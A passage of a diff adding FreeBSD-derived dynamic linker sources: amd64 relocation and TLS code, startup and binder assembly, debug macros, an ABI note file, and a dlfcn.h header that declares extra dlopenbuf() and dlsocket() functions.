*where += (Elf_Addr)obj->relocbase;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Relocate the jump slots in an object. */
|
||||||
|
int
|
||||||
|
reloc_jmpslots(Obj_Entry *obj)
|
||||||
|
{
|
||||||
|
const Elf_Rela *relalim;
|
||||||
|
const Elf_Rela *rela;
|
||||||
|
|
||||||
|
if (obj->jmpslots_done)
|
||||||
|
return 0;
|
||||||
|
relalim = (const Elf_Rela *)((char *)obj->pltrela + obj->pltrelasize);
|
||||||
|
for (rela = obj->pltrela; rela < relalim; rela++) {
|
||||||
|
Elf_Addr *where, target;
|
||||||
|
const Elf_Sym *def;
|
||||||
|
const Obj_Entry *defobj;
|
||||||
|
|
||||||
|
assert(ELF_R_TYPE(rela->r_info) == R_X86_64_JMP_SLOT);
|
||||||
|
where = (Elf_Addr *)(obj->relocbase + rela->r_offset);
|
||||||
|
def = find_symdef(ELF_R_SYM(rela->r_info), obj, &defobj, true, NULL);
|
||||||
|
if (def == NULL)
|
||||||
|
return -1;
|
||||||
|
target = (Elf_Addr)(defobj->relocbase + def->st_value + rela->r_addend);
|
||||||
|
reloc_jmpslot(where, target, defobj, obj, (const Elf_Rel *)rela);
|
||||||
|
}
|
||||||
|
obj->jmpslots_done = true;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void
|
||||||
|
allocate_initial_tls(Obj_Entry *objs)
|
||||||
|
{
|
||||||
|
/*
|
||||||
|
* Fix the size of the static TLS block by using the maximum
|
||||||
|
* offset allocated so far and adding a bit for dynamic modules to
|
||||||
|
* use.
|
||||||
|
*/
|
||||||
|
tls_static_space = tls_last_offset + RTLD_STATIC_TLS_EXTRA;
|
||||||
|
amd64_set_fsbase(allocate_tls(objs, 0,
|
||||||
|
3*sizeof(Elf_Addr), sizeof(Elf_Addr)));
|
||||||
|
}
|
||||||
|
|
||||||
|
void *__tls_get_addr(tls_index *ti)
|
||||||
|
{
|
||||||
|
Elf_Addr** segbase;
|
||||||
|
Elf_Addr* dtv;
|
||||||
|
|
||||||
|
__asm __volatile("movq %%fs:0, %0" : "=r" (segbase));
|
||||||
|
dtv = segbase[1];
|
||||||
|
|
||||||
|
return tls_get_addr_common(&segbase[1], ti->ti_module, ti->ti_offset);
|
||||||
|
}
|
|
@ -0,0 +1,80 @@
|
||||||
|
/*-
|
||||||
|
* Copyright (c) 1999, 2000 John D. Polstra.
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
* 1. Redistributions of source code must retain the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer.
|
||||||
|
* 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||||
|
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||||
|
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||||
|
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||||
|
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||||
|
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||||
|
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||||
|
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||||
|
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||||
|
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||||
|
* SUCH DAMAGE.
|
||||||
|
*
|
||||||
|
* $FreeBSD: head/libexec/rtld-elf/amd64/rtld_machdep.h 191291 2009-04-19 23:02:50Z rwatson $
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef RTLD_MACHDEP_H
|
||||||
|
#define RTLD_MACHDEP_H 1
|
||||||
|
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <machine/atomic.h>
|
||||||
|
|
||||||
|
#ifndef CACHE_LINE_SIZE
|
||||||
|
#define CACHE_LINE_SIZE 128
|
||||||
|
#endif
|
||||||
|
|
||||||
|
struct Struct_Obj_Entry;
|
||||||
|
|
||||||
|
/* Return the address of the .dynamic section in the dynamic linker. */
|
||||||
|
#define rtld_dynamic(obj) \
|
||||||
|
((const Elf_Dyn *)((obj)->relocbase + (Elf_Addr)&_DYNAMIC))
|
||||||
|
|
||||||
|
/* Fixup the jump slot at "where" to transfer control to "target". */
|
||||||
|
static inline Elf_Addr
|
||||||
|
reloc_jmpslot(Elf_Addr *where, Elf_Addr target,
|
||||||
|
const struct Struct_Obj_Entry *obj,
|
||||||
|
const struct Struct_Obj_Entry *refobj, const Elf_Rel *rel)
|
||||||
|
{
|
||||||
|
#ifdef dbg
|
||||||
|
dbg("reloc_jmpslot: *%p = %p", (void *)(where),
|
||||||
|
(void *)(target));
|
||||||
|
#endif
|
||||||
|
(*(Elf_Addr *)(where) = (Elf_Addr)(target));
|
||||||
|
return target;
|
||||||
|
}
|
||||||
|
|
||||||
|
#define make_function_pointer(def, defobj) \
|
||||||
|
((defobj)->relocbase + (def)->st_value)
|
||||||
|
|
||||||
|
#define call_initfini_pointer(obj, target) \
|
||||||
|
(((InitFunc)(target))())
|
||||||
|
|
||||||
|
#define round(size, align) \
|
||||||
|
(((size) + (align) - 1) & ~((align) - 1))
|
||||||
|
#define calculate_first_tls_offset(size, align) \
|
||||||
|
round(size, align)
|
||||||
|
#define calculate_tls_offset(prev_offset, prev_size, size, align) \
|
||||||
|
round((prev_offset) + (size), align)
|
||||||
|
#define calculate_tls_end(off, size) (off)
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
unsigned long ti_module;
|
||||||
|
unsigned long ti_offset;
|
||||||
|
} tls_index;
|
||||||
|
|
||||||
|
extern void *__tls_get_addr(tls_index *ti);
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,114 @@
|
||||||
|
/*-
|
||||||
|
* Copyright 1996-1998 John D. Polstra.
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
* 1. Redistributions of source code must retain the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer.
|
||||||
|
* 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||||
|
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||||
|
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||||
|
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||||
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||||
|
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||||
|
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||||
|
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||||
|
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*
|
||||||
|
* $FreeBSD: head/libexec/rtld-elf/amd64/rtld_start.S 127254 2004-03-21 01:43:39Z peter $
|
||||||
|
*/
|
||||||
|
|
||||||
|
.text
|
||||||
|
.align 4
|
||||||
|
.globl .rtld_start
|
||||||
|
.type .rtld_start,@function
|
||||||
|
.rtld_start:
|
||||||
|
xorq %rbp,%rbp # Clear frame pointer for good form
|
||||||
|
subq $24,%rsp # A place to store exit procedure addr
|
||||||
|
movq %rdi,%r12
|
||||||
|
movq %rsp,%rsi # save address of exit proc
|
||||||
|
movq %rsp,%rdx # construct address of obj_main
|
||||||
|
addq $8,%rdx
|
||||||
|
call _rtld_late@PLT # Call rtld(sp); returns entry point
|
||||||
|
popq %rsi # Get exit procedure address
|
||||||
|
movq %r12,%rdi # *ap
|
||||||
|
/*
|
||||||
|
* At this point, %rax contains the entry point of the main program, and
|
||||||
|
* %rdx contains a pointer to a termination function that should be
|
||||||
|
* registered with atexit(). (crt1.o registers it.)
|
||||||
|
*/
|
||||||
|
.globl .rtld_goto_main
|
||||||
|
.rtld_goto_main: # This symbol exists just to make debugging easier.
|
||||||
|
jmp *%rax # Enter main program
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Binder entry point. Control is transferred to here by code in the PLT.
|
||||||
|
* On entry, there are two arguments on the stack. In ascending address
|
||||||
|
* order, they are (1) "obj", a pointer to the calling object's Obj_Entry,
|
||||||
|
* and (2) "reloff", the byte offset of the appropriate relocation entry
|
||||||
|
* in the PLT relocation table.
|
||||||
|
*
|
||||||
|
* We are careful to preserve all registers, even the the caller-save
|
||||||
|
* registers. That is because this code may be invoked by low-level
|
||||||
|
* assembly-language code that is not ABI-compliant.
|
||||||
|
*
|
||||||
|
* Stack map:
|
||||||
|
* reloff 0x60
|
||||||
|
* obj 0x58
|
||||||
|
* spare 0x50
|
||||||
|
* rflags 0x48
|
||||||
|
* rax 0x40
|
||||||
|
* rdx 0x38
|
||||||
|
* rcx 0x30
|
||||||
|
* rsi 0x28
|
||||||
|
* rdi 0x20
|
||||||
|
* r8 0x18
|
||||||
|
* r9 0x10
|
||||||
|
* r10 0x8
|
||||||
|
* r11 0x0
|
||||||
|
*/
|
||||||
|
.align 4
|
||||||
|
.globl _rtld_bind_start
|
||||||
|
.type _rtld_bind_start,@function
|
||||||
|
_rtld_bind_start:
|
||||||
|
subq $8,%rsp
|
||||||
|
pushfq # Save rflags
|
||||||
|
pushq %rax # Save %rax
|
||||||
|
pushq %rdx # Save %rdx
|
||||||
|
pushq %rcx # Save %rcx
|
||||||
|
pushq %rsi # Save %rsi
|
||||||
|
pushq %rdi # Save %rdi
|
||||||
|
pushq %r8 # Save %r8
|
||||||
|
pushq %r9 # Save %r9
|
||||||
|
pushq %r10 # Save %r10
|
||||||
|
pushq %r11 # Save %r11
|
||||||
|
|
||||||
|
movq 0x58(%rsp),%rdi # Fetch obj argument
|
||||||
|
movq 0x60(%rsp),%rsi # Fetch reloff argument
|
||||||
|
leaq (%rsi,%rsi,2),%rsi # multiply by 3
|
||||||
|
leaq (,%rsi,8),%rsi # now 8, for 24 (sizeof Elf_Rela)
|
||||||
|
|
||||||
|
call _rtld_bind@PLT # Transfer control to the binder
|
||||||
|
/* Now %rax contains the entry point of the function being called. */
|
||||||
|
|
||||||
|
movq %rax,0x60(%rsp) # Store target over reloff argument
|
||||||
|
popq %r11 # Restore %r11
|
||||||
|
popq %r10 # Restore %r10
|
||||||
|
popq %r9 # Restore %r9
|
||||||
|
popq %r8 # Restore %r8
|
||||||
|
popq %rdi # Restore %rdi
|
||||||
|
popq %rsi # Restore %rsi
|
||||||
|
popq %rcx # Restore %rcx
|
||||||
|
popq %rdx # Restore %rdx
|
||||||
|
popq %rax # Restore %rax
|
||||||
|
popfq # Restore rflags
|
||||||
|
leaq 16(%rsp),%rsp # Discard spare, obj, do not change rflags
|
||||||
|
ret # "Return" to target address
|
|
@ -0,0 +1,52 @@
|
||||||
|
/*-
|
||||||
|
* Copyright 2000 David E. O'Brien, John D. Polstra.
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
* 1. Redistributions of source code must retain the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer.
|
||||||
|
* 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||||
|
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||||
|
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||||
|
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||||
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||||
|
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||||
|
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||||
|
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||||
|
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <sys/cdefs.h>
|
||||||
|
__FBSDID("$FreeBSD: head/lib/csu/common/crtbrand.c 174251 2007-12-04 12:18:43Z kib $");
|
||||||
|
|
||||||
|
#include <sys/param.h>
|
||||||
|
|
||||||
|
#define ABI_VENDOR "FreeBSD"
|
||||||
|
#define ABI_SECTION ".note.ABI-tag"
|
||||||
|
#define ABI_NOTETYPE 1
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Special ".note" entry specifying the ABI version. See
|
||||||
|
* http://www.netbsd.org/Documentation/kernel/elf-notes.html
|
||||||
|
* for more information.
|
||||||
|
*/
|
||||||
|
static const struct {
|
||||||
|
int32_t namesz;
|
||||||
|
int32_t descsz;
|
||||||
|
int32_t type;
|
||||||
|
char name[sizeof ABI_VENDOR];
|
||||||
|
int32_t desc;
|
||||||
|
} abitag __attribute__ ((section (ABI_SECTION), aligned(4))) __used = {
|
||||||
|
sizeof ABI_VENDOR,
|
||||||
|
sizeof(int32_t),
|
||||||
|
ABI_NOTETYPE,
|
||||||
|
ABI_VENDOR,
|
||||||
|
__FreeBSD_version
|
||||||
|
};
|
|
@ -0,0 +1,66 @@
|
||||||
|
/*-
|
||||||
|
* Copyright 1996-1998 John D. Polstra.
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
* 1. Redistributions of source code must retain the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer.
|
||||||
|
* 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||||
|
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||||
|
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||||
|
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||||
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||||
|
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||||
|
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||||
|
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||||
|
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*
|
||||||
|
* $FreeBSD: head/libexec/rtld-elf/debug.h 157219 2006-03-28 18:26:47Z des $
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Support for printing debugging messages.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef DEBUG_H
|
||||||
|
#define DEBUG_H 1
|
||||||
|
|
||||||
|
#ifndef __GNUC__
|
||||||
|
#error "This file must be compiled with GCC"
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <sys/cdefs.h>
|
||||||
|
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
extern void debug_printf(const char *, ...) __printflike(1, 2);
|
||||||
|
extern int debug;
|
||||||
|
|
||||||
|
#ifdef DEBUG
|
||||||
|
#define dbg(...) debug_printf(__VA_ARGS__)
|
||||||
|
#else
|
||||||
|
#define dbg(...) ((void) 0)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef COMPAT_32BIT
|
||||||
|
#define _MYNAME "ld-elf.so.1"
|
||||||
|
#else
|
||||||
|
#define _MYNAME "ld-elf32.so.1"
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define assert(cond) ((cond) ? (void) 0 : \
|
||||||
|
(msg(_MYNAME ": assert failed: " __FILE__ ":" \
|
||||||
|
__XSTRING(__LINE__) "\n"), abort()))
|
||||||
|
#define msg(s) write(STDOUT_FILENO, s, strlen(s))
|
||||||
|
#define trace() msg(_MYNAME ": " __XSTRING(__LINE__) "\n")
|
||||||
|
|
||||||
|
|
||||||
|
#endif /* DEBUG_H */
|
|
@ -0,0 +1,145 @@
|
||||||
|
/*-
|
||||||
|
* Copyright (c) 1994
|
||||||
|
* The Regents of the University of California. All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
* 1. Redistributions of source code must retain the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer.
|
||||||
|
* 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
* 3. All advertising materials mentioning features or use of this software
|
||||||
|
* must display the following acknowledgement:
|
||||||
|
* This product includes software developed by the University of
|
||||||
|
* California, Berkeley and its contributors.
|
||||||
|
* 4. Neither the name of the University nor the names of its contributors
|
||||||
|
* may be used to endorse or promote products derived from this software
|
||||||
|
* without specific prior written permission.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||||
|
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||||
|
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||||
|
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||||
|
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||||
|
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||||
|
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||||
|
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||||
|
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||||
|
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||||
|
* SUCH DAMAGE.
|
||||||
|
*
|
||||||
|
* $FreeBSD: head/include/dlfcn.h 195745 2009-07-17 19:45:42Z kib $
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef _DLFCN_H_
|
||||||
|
#define _DLFCN_H_
|
||||||
|
|
||||||
|
#include <sys/_types.h>
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Modes and flags for dlopen().
|
||||||
|
*/
|
||||||
|
#define RTLD_LAZY 1 /* Bind function calls lazily. */
|
||||||
|
#define RTLD_NOW 2 /* Bind function calls immediately. */
|
||||||
|
#define RTLD_MODEMASK 0x3
|
||||||
|
#define RTLD_GLOBAL 0x100 /* Make symbols globally available. */
|
||||||
|
#define RTLD_LOCAL 0 /* Opposite of RTLD_GLOBAL, and the default. */
|
||||||
|
#define RTLD_TRACE 0x200 /* Trace loaded objects and exit. */
|
||||||
|
#define RTLD_NODELETE 0x01000 /* Do not remove members. */
|
||||||
|
#define RTLD_NOLOAD 0x02000 /* Do not load if not already loaded. */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Request arguments for dlinfo().
|
||||||
|
*/
|
||||||
|
#define RTLD_DI_LINKMAP 2 /* Obtain link map. */
|
||||||
|
#define RTLD_DI_SERINFO 4 /* Obtain search path info. */
|
||||||
|
#define RTLD_DI_SERINFOSIZE 5 /* ... query for required space. */
|
||||||
|
#define RTLD_DI_ORIGIN 6 /* Obtain object origin */
|
||||||
|
#define RTLD_DI_MAX RTLD_DI_ORIGIN
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Special handle arguments for dlsym()/dlinfo().
|
||||||
|
*/
|
||||||
|
#define RTLD_NEXT ((void *) -1) /* Search subsequent objects. */
|
||||||
|
#define RTLD_DEFAULT ((void *) -2) /* Use default search algorithm. */
|
||||||
|
#define RTLD_SELF ((void *) -3) /* Search the caller itself. */
|
||||||
|
|
||||||
|
#if __BSD_VISIBLE
|
||||||
|
|
||||||
|
#ifndef _SIZE_T_DECLARED
|
||||||
|
typedef __size_t size_t;
|
||||||
|
#define _SIZE_T_DECLARED
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Structure filled in by dladdr().
|
||||||
|
*/
|
||||||
|
typedef struct dl_info {
|
||||||
|
const char *dli_fname; /* Pathname of shared object. */
|
||||||
|
void *dli_fbase; /* Base address of shared object. */
|
||||||
|
const char *dli_sname; /* Name of nearest symbol. */
|
||||||
|
void *dli_saddr; /* Address of nearest symbol. */
|
||||||
|
} Dl_info;
|
||||||
|
|
||||||
|
/*-
|
||||||
|
* The actual type declared by this typedef is immaterial, provided that
|
||||||
|
* it is a function pointer. Its purpose is to provide a return type for
|
||||||
|
* dlfunc() which can be cast to a function pointer type without depending
|
||||||
|
* on behavior undefined by the C standard, which might trigger a compiler
|
||||||
|
* diagnostic. We intentionally declare a unique type signature to force
|
||||||
|
* a diagnostic should the application not cast the return value of dlfunc()
|
||||||
|
* appropriately.
|
||||||
|
*/
|
||||||
|
struct __dlfunc_arg {
|
||||||
|
int __dlfunc_dummy;
|
||||||
|
};
|
||||||
|
|
||||||
|
typedef void (*dlfunc_t)(struct __dlfunc_arg);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Structures, returned by the RTLD_DI_SERINFO dlinfo() request.
|
||||||
|
*/
|
||||||
|
typedef struct dl_serpath {
|
||||||
|
char * dls_name; /* single search path entry */
|
||||||
|
unsigned int dls_flags; /* path information */
|
||||||
|
} Dl_serpath;
|
||||||
|
|
||||||
|
typedef struct dl_serinfo {
|
||||||
|
size_t dls_size; /* total buffer size */
|
||||||
|
unsigned int dls_cnt; /* number of path entries */
|
||||||
|
Dl_serpath dls_serpath[1]; /* there may be more than one */
|
||||||
|
} Dl_serinfo;
|
||||||
|
|
||||||
|
#endif /* __BSD_VISIBLE */
|
||||||
|
|
||||||
|
__BEGIN_DECLS
|
||||||
|
/* XSI functions first. */
|
||||||
|
int dlclose(void *);
|
||||||
|
const char *
|
||||||
|
dlerror(void);
|
||||||
|
void *dlopen(const char *, int);
|
||||||
|
void *dlopenbuf(const char *, int, unsigned char *, size_t);
|
||||||
|
void *dlsym(void * __restrict, const char * __restrict);
|
||||||
|
int dlsocket(void);
|
||||||
|
|
||||||
|
|
||||||
|
#if __BSD_VISIBLE
|
||||||
|
int dladdr(const void * __restrict, Dl_info * __restrict);
|
||||||
|
dlfunc_t dlfunc(void * __restrict, const char * __restrict);
|
||||||
|
int dlinfo(void * __restrict, int, void * __restrict);
|
||||||
|
void dllockinit(void *_context,
|
||||||
|
void *(*_lock_create)(void *_context),
|
||||||
|
void (*_rlock_acquire)(void *_lock),
|
||||||
|
void (*_wlock_acquire)(void *_lock),
|
||||||
|
void (*_lock_release)(void *_lock),
|
||||||
|
void (*_lock_destroy)(void *_lock),
|
||||||
|
void (*_context_destroy)(void *_context));
|
||||||
|
void *dlvsym(void * __restrict, const char * __restrict,
|
||||||
|
const char * __restrict);
|
||||||
|
#endif /* __BSD_VISIBLE */
|
||||||
|
__END_DECLS
|
||||||
|
|
||||||
|
#endif /* !_DLFCN_H_ */
|
|
@ -0,0 +1,6 @@
|
||||||
|
.globl call_late_start
|
||||||
|
|
||||||
|
call_late_start:
|
||||||
|
add $0x4, %esp
|
||||||
|
popl %eax
|
||||||
|
jmp *%eax
|
|
@ -0,0 +1,385 @@
|
||||||
|
/*-
|
||||||
|
* Copyright 1996, 1997, 1998, 1999 John D. Polstra.
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
* 1. Redistributions of source code must retain the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer.
|
||||||
|
* 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||||
|
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||||
|
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||||
|
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||||
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||||
|
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||||
|
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||||
|
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||||
|
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*
|
||||||
|
* $FreeBSD: head/libexec/rtld-elf/i386/reloc.c 157198 2006-03-28 06:09:24Z davidxu $
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Dynamic linker for ELF.
|
||||||
|
*
|
||||||
|
* John Polstra <jdp@polstra.com>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <sys/param.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
#include <machine/segments.h>
|
||||||
|
#include <machine/sysarch.h>
|
||||||
|
|
||||||
|
#include <dlfcn.h>
|
||||||
|
#include <err.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <stdarg.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#include "debug.h"
|
||||||
|
#include "rtld.h"
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Process the special R_386_COPY relocations in the main program. These
|
||||||
|
* copy data from a shared object into a region in the main program's BSS
|
||||||
|
* segment.
|
||||||
|
*
|
||||||
|
* Returns 0 on success, -1 on failure.
|
||||||
|
*/
|
||||||
|
int
|
||||||
|
do_copy_relocations(Obj_Entry *dstobj)
|
||||||
|
{
|
||||||
|
const Elf_Rel *rellim;
|
||||||
|
const Elf_Rel *rel;
|
||||||
|
|
||||||
|
assert(dstobj->mainprog); /* COPY relocations are invalid elsewhere */
|
||||||
|
|
||||||
|
rellim = (const Elf_Rel *) ((caddr_t) dstobj->rel + dstobj->relsize);
|
||||||
|
for (rel = dstobj->rel; rel < rellim; rel++) {
|
||||||
|
if (ELF_R_TYPE(rel->r_info) == R_386_COPY) {
|
||||||
|
void *dstaddr;
|
||||||
|
const Elf_Sym *dstsym;
|
||||||
|
const char *name;
|
||||||
|
unsigned long hash;
|
||||||
|
size_t size;
|
||||||
|
